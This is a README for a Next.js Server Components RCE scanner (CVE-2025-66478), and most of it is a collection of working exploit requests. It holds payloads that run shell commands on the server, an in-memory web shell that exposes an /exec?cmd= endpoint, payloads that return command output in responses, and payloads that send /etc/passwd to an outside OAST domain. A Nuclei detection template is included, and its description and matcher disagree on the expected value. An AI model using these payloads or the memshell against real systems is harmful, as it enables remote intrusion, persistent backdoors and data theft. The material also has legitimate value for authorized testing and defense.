Next.js RSC RCE Scanner and POC/Exploit Collection (CVE-2025-66478)

A command-line scanner for batch detection of Next.js application versions and determining if they are affected by CVE-2025-66478 vulnerability.

This Scanner do not exploit the vulnerability

Vulnerability Description

https://nextjs.org/blog/CVE-2025-66478

Installation

Prerequisites

• Go 1.19 or higher
• Chrome/Chromium browser (go-rod will download automatically)

git clone https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478

Build

cd Next.js-RSC-RCE-Scanner-CVE-2025-66478
go build -o nextjs-rce-scanner
# Windows Build
go build -o nextjs-rce-scanner.exe

Usage

# High concurrency scan (10 concurrent)
./nextjs-rce-scanner -file urls.txt -c 10
# GUI mode (for debugging):
./nextjs-rce-scanner -urls "https://example.com" -headless=false
# Custom timeout
./nextjs-rce-scanner -file urls.txt -timeout 60
# For headless servers (Ubuntu/Debian) - add Chrome flags
./nextjs-rce-scanner -file urls.txt -chrome-flags '--no-sandbox,--disable-setuid-sandbox'
# Use system-installed Chrome/Chromium
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/google-chrome
# Combine Chrome binary path with flags (for servers)
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/chromium-browser -chrome-flags '--no-sandbox'
# Filter and scan specific URLs
cat urls.txt | grep ".com" | ./nextjs-rce-scanner
# Combine with other Unix tools
cat urls.txt | head -10 | ./nextjs-rce-scanner -c 3

Common Chrome Binary Paths

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Linux: - Ubuntu/Debian: /usr/bin/google-chrome or /usr/bin/chromium-browser - CentOS/RHEL: /usr/bin/google-chrome-stable or /usr/bin/chromium - Flatpak: /var/lib/flatpak/exports/bin/com.google.Chrome

macOS: - /Applications/Google Chrome.app/Contents/MacOS/Google Chrome - /Applications/Chromium.app/Contents/MacOS/Chromium

Windows: - C:\Program Files\Google\Chrome\Application\chrome.exe - C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

How It Works

1. Uses go-rod to launch Chrome browser
2. Creates Page Pool to manage concurrency
3. Visits target URL and waits for page load
4. Executes JavaScript window.next.version to get version information
5. Parses version number and determines based on vulnerability scope
6. Outputs scan results

Setting Up Vulnerable Environment

Install Vulnerable Version Using create-next-app

npx create-next-app@16.0.6 my-cve-2025-66478-app
cd my-cve-2025-66478-app
# Start the application
npm run dev

Pop Calculator

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POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('open -a Calculator');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

🚨 Runtime Memory Shell 🚨

setup memshell at first

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POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

then request to the memshell endpoint to execute a command

curl "http://localhost:3000/exec?cmd=ls+-l"

Payload That Can See Command Execution Result In Response Body (Most Useful)

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POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

payload that can see command execution result in response header

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POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

OAST/DNSlog Payload

⚠️⚠️⚠️ replace an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com to your own OAST/dnslog domain

make http request

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').get('https://an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com/test');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

send /etc/passwd

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').request({hostname:'an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('/etc/passwd'));","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

initial exploit credit: https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3

Nuclei Scan Template

Save the template code below to react2shell.yaml, then run Nuclei.

nuclei -silent -u http://localhost:3000 -t react2shell.yaml

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credit: @Behi_Sec

⚠️ this nuclei template only detects vulnerable servers running on Unix-based systems

id: cve-2025-55182-react2shell

info:
  name: Next.js/React Server Components RCE (React2Shell)
  author: assetnote
  severity: critical
  description: |
    Detects CVE-2025-55182 and CVE-2025-66478, a Remote Code Execution vulnerability in Next.js applications using React Server Components.
    It attempts to execute 'echo $((1337*10001))' on the server. If successful, the server returns a redirect to '/login?a=11111'.
  reference:
    - https://github.com/assetnote/react2shell-scanner
    - https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id:
      - CVE-2025-55182
      - CVE-2025-66478
  tags: cve, cve2025, nextjs, rce, react

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
        Next-Action: x
        X-Nextjs-Request-Id: b5dce965
        X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $((1337*10001))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "/login?a=13371337"
          - "X-Action-Redirect"
        condition: and

Next.js RSC Detection Tips

You can determine if NextJS's vulnerable RSC functionality exists based on the Vary field of the HTTP Response Header.

License

MIT License

Disclaimer

This tool is for security research and authorized testing only. Using this tool to scan unauthorized targets may violate relevant laws and regulations. Users are responsible for any consequences.